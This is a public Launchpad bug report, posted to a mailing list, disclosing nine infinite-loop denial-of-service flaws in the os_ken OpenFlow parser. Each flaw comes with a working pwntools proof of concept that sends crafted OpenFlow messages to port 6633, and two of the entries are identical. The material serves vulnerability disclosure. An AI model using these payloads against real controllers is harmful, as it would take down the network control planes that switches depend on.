[Bug 2067973] Re: A series of infinite loop vulnerabilities in the os_ken
Mark Esler
2067973 at bugs.launchpad.net
Mon Jun 24 15:17:44 UTC 2024
** Information type changed from Private Security to Public Security
--
You received this bug notification because you are a member of Ubuntu
OpenStack, which is subscribed to python-os-ken in Ubuntu.
https://bugs.launchpad.net/bugs/2067973
Title:
A series of infinite loop vulnerabilities in the os_ken
Status in DragonFlow:
New
Status in neutron:
New
Status in os-ryu:
New
Status in OpenStack Security Advisory:
Won't Fix
Status in python-os-ken package in Ubuntu:
New
Bug description:
Hello, We have recently discovered a series of infinite loop
vulnerabilities in the component os_ken. Initially, our team found
this issue in ryu and submitted several issues, but we realized that
ryu has not been maintained for a long time. We later found out that
the project is still being maintained and submitted this issue.
We believe that this set of issues with os_ken as a component of the
OpenFlow protocol could lead to a denial of service due to malicious
attacks on controllers such as ryu and faucet, which are currently
using the component, as well as other controllers based on the
component.
We believe that once the controller is attacked and enters a denial of
service state, the switch will not function properly.
Relevant details are given below:
[1] OFPTableFeaturesStats parser
```python
while rest:
p, rest = OFPTableFeatureProp.parse(rest)
props.append(p)
table_features.properties = props
```
The rest variable here is obtained through the following code:
```python
(type_, length) = struct.unpack_from(cls._PACK_STR, buf, 0)
rest = buf[utils.round_up(length, 8):]
```
If the length variable is tampered with to 0, rest will get the original buffer, causing the controller to fall into an infinite loop.
poc:
```python
from pwn import *
p=remote("0.0.0.0",6633)
payload="\x04\x13\x00\x58\x00\x00\x00\x00\x00\x0c\x00\x01\x00\x00\x00\x0000\x48\x01\x00\x00\x00\x00\x00\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00"
p.send(payload)
p.interactive()
```
[2] OFPHello parser
```python
class OFPHello(MsgBase):
...
@classmethod
def parser(cls, datapath, version, msg_type, msg_len, xid, buf):
msg = super(OFPHello, cls).parser(datapath, version, msg_type,
msg_len, xid, buf)
offset = ofproto.OFP_HELLO_HEADER_SIZE
elems = []
while offset < msg.msg_len:
type_, length = struct.unpack_from(
ofproto.OFP_HELLO_ELEM_HEADER_PACK_STR, msg.buf, offset)
...
offset += length
msg.elements = elems
return msg
```
If the variable length is equal to 0,the offset will no longer change
and the parsing will fall into an infinite loop.
poc:
```python
from pwn import *
p=remote("0.0.0.0",6633)
payload="04000010000000130001000000000010"
payload=bytes.fromhex(payload)
p.send(payload)
p.interactive()
```
[3] OFPBucket parser
```python
class OFPBucket(StringifyMixin):
@classmethod
def parser(cls, buf, offset):
(len_, weight, watch_port, watch_group) = struct.unpack_from(
ofproto.OFP_BUCKET_PACK_STR, buf, offset)
....
while length < msg.len:
action = OFPAction.parser(buf, offset)
msg.actions.append(action)
offset += action.len
length += action.len
```
If action.len=0,the offset and length will no longer change and the
parsing will fall into an infinite loop.
poc:
```python
from pwn import *
p=remote("0.0.0.0",6633)
payload="\x04\x13\x00\x38\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x0000\x28\x00\x00\x00\x00\x00\x00\x00\x20\x00\x01\xff\xff\xff\xffff\xff\xff\xff\x00\x00\x00\x00\x00\x19\x00\x00\x80\x00\x08\x0600\x00\x00\x00\x00\x00\x00\x00"
p.send(payload)
p.interactive()
```
[4] OFPGroupDescStats parser
```python
class OFPGroupDescStats(StringifyMixin):
@classmethod
def parser(cls, buf, offset):
....
while length < stats.length:
bucket = OFPBucket.parser(buf, offset)
stats.buckets.append(bucket)
offset += bucket.len
length += bucket.len
```
If OFPBucket.len=0,the offset and length will no longer change and the
parsing will fall into an infinite loop.
poc:
```python
from pwn import *
p=remote("0.0.0.0",6633)
brk=b"\x04\x13\x00\x38\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00"
brk+=b"\x00\x28\x00\x00"
brk+=b"\x00\x00\x00\x00"
bucket="00000001ffffffffffffffff000000000000001000000001ffe5000000000000"
brk+=bytes.fromhex(bucket)
p.send(brk)
p.interactive()
```
[5] OFPFlowStats parser
```python
class OFPFlowStats(StringifyMixin):
while inst_length > 0:
inst = OFPInstruction.parser(buf, offset)
instructions.append(inst)
offset += inst.len
inst_length -= inst.len
```
If inst.length =0,the offset will no longer change and the parsing
will fall into an infinite loop.
poc:
```python
from pwn import *
p=remote("0.0.0.0",6633)
payload=b'\x04\x13\x010\x7f\xf9\xb1m\x00\x01\x00\x00\x00\x00\x00\x00\x00h\x00\x00\x00\x00\x00\x03\x06B,@\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xc4\x00\x01\x00 \x80\x00\x00\x04\x00\x00\x00\x02\x80\x00\x08\x06\xd2\xfc:\xb8S\xf8\x80\x00\x06\x06\xce\x8f\xb2F\xcb[\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x01\xff\xe5\x00\x00\x00\x00\x00\x00\x00h\x00\x00\x00\x00\x00\x03\x06\x05#@\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00b\x00\x01\x00 \x80\x00\x00\x04\x00\x00\x00\x01\x80\x00\x08\x06\xce\x8f\xb2F\xcb[\x80\x00\x06\x06\xd2\xfc:\xb8S\xf8\x00\x04\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x02\xff\xe5\x00\x00\x00\x00\x00\x00\x00P\x00\x00\x00\x00\x00\x058\x81U\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x04@\x00\x01\x00\x04\x00\x00\x00\x00\x00\x04\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\xff\xff\xff\xfd\xff\xff\x00\x00\x00\x00\x00\x00'
p.send(payload)
p.interactive()
```
[6] OFPMultipartReply parser
```python
class OFPMultipartReply(MsgBase):
_STATS_MSG_TYPES = {}
....
@classmethod
def parser(cls, datapath, version, msg_type, msg_len, xid, buf):
....
while offset < msg_len:
b = stats_type_cls.cls_stats_body_cls.parser(msg.buf, offset)
body.append(b)
offset += b.length if hasattr(b, 'length') else b.len
....
```
If b.length =0,the offset will no longer change and the parsing will
fall into an infinite loop.
poc:
```python
from pwn import *
p=remote("0.0.0.0",6633)
payload="\x04\x13\x01\x30\x7f\xf9\xb1\x6d\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x06\x42\x2c\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xc4\x00\x01\x00\x20\x80\x00\x00\x04\x00\x00\x00\x02\x80\x00\x08\x06\xd2\xfc\x3a\xb8\x53\xf8\x80\x00\x06\x06\xce\x8f\xb2\x46\xcb\x5b\x00\x04\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x01\xff\xe5\x00\x00\x00\x00\x00\x00\x00\x68\x00\x00\x00\x00\x00\x03\x06\x05\x23\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x62\x00\x01\x00\x20\x80\x00\x00\x04\x00\x00\x00\x01\x80\x00\x08\x06\xce\x8f\xb2\x46\xcb\x5b\x80\x00\x06\x06\xd2\xfc\x3a\xb8\x53\xf8\x00\x04\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x02\xff\xe5\x00\x00\x00\x00\x00\x00\x00\x50\x00\x00\x00\x00\x00\x05\x38\x81\x55\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x04\x40\x00\x01\x00\x04\x00\x00\x00\x00\x00\x04\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\xff\xff\xff\xfd\xff\xff\x00\x00\x00\x00\x00\x00"
p.send(payload)
p.interactive()
```
[7] OFPMultipartReply parser
```python
class OFPMultipartReply(MsgBase):
_STATS_MSG_TYPES = {}
....
@classmethod
def parser(cls, datapath, version, msg_type, msg_len, xid, buf):
....
while offset < msg_len:
b = stats_type_cls.cls_stats_body_cls.parser(msg.buf, offset)
body.append(b)
offset += b.length if hasattr(b, 'length') else b.len
....
```
If b.length =0,the offset will no longer change and the parsing will
fall into an infinite loop.
poc:
```python
from pwn import *
p=remote("0.0.0.0",6633)
payload="\x04\x13\x01\x30\x7f\xf9\xb1\x6d\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x06\x42\x2c\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xc4\x00\x01\x00\x20\x80\x00\x00\x04\x00\x00\x00\x02\x80\x00\x08\x06\xd2\xfc\x3a\xb8\x53\xf8\x80\x00\x06\x06\xce\x8f\xb2\x46\xcb\x5b\x00\x04\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x01\xff\xe5\x00\x00\x00\x00\x00\x00\x00\x68\x00\x00\x00\x00\x00\x03\x06\x05\x23\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x62\x00\x01\x00\x20\x80\x00\x00\x04\x00\x00\x00\x01\x80\x00\x08\x06\xce\x8f\xb2\x46\xcb\x5b\x80\x00\x06\x06\xd2\xfc\x3a\xb8\x53\xf8\x00\x04\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x02\xff\xe5\x00\x00\x00\x00\x00\x00\x00\x50\x00\x00\x00\x00\x00\x05\x38\x81\x55\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x04\x40\x00\x01\x00\x04\x00\x00\x00\x00\x00\x04\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\xff\xff\xff\xfd\xff\xff\x00\x00\x00\x00\x00\x00"
p.send(payload)
p.interactive()
```
[8] OFPFlowMod parser
```python
class OFPFlowMod(MsgBase):
....
while offset < msg_len:
i = OFPInstruction.parser(buf, offset)
instructions.append(i)
offset += i.len
msg.instructions = instructions
```
If OFPInstruction.len=0 , the offset will no longer change and the
parsing will fall into an infinite loop.
poc:
```python
from pwn import *
p=remote("0.0.0.0",6633)
payload=b"\x04\x0e\x00\x50\xd8\xbc\xde\xb7\x67\xf9\x0c\x3f\xfb\xa6\xdb\x87\x6f\x63\x34\xd0\xe1\x26\x43\x78\x5e\x01\x34\x0d\x32\xb4\xb3\xff\x8f\x99\xc0\xe9\x9e\x84\x70\x62\xc7\x4a\xbf\x01\xf3\xf0\x00\x00\x00\x01\x00\x04\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\xff\xff\xff\xfd\xff\xff\x00\x00\x00\x00\x00\x00"
p.send(payload)
p.interactive()
```
[9] OFPPacketQueue parser
```python
class OFPPacketQueue(StringifyMixin):
....
@classmethod
def parser(cls, buf, offset):
....
while length < len_:
queue_prop = OFPQueueProp.parser(buf, offset)
if queue_prop is not None:
properties.append(queue_prop)
offset += queue_prop.len
length += queue_prop.len
o = cls(queue_id, port, properties)
o.len = len_
return o
```
If OFPQueueProp.len=0,the offset and length will no longer change and
the parsing will fall into an infinite loop.
poc:
```python
from pwn import *
p=remote("0.0.0.0",6633)
payload="\x04\x17\x00\x50\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x72\x00\x00\x00\x73\x00\x40\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x02\x00\x10\x00\x00\x00\x00\x03\x84\x00\x00\x00\x00\x00\x00\xff\xff\x00\x10\x00\x00\x00\x00\x00\x00\x03\xe7\x00\x00\x00\x00"
p.send(payload)
p.interactive()
```
Finally, I would like to ask if these vulnerabilities are able to get
a corresponding CVE number?
To manage notifications about this bug go to:
https://bugs.launchpad.net/dragonflow/+bug/2067973/+subscriptions
More information about the Ubuntu-openstack-bugs
mailing list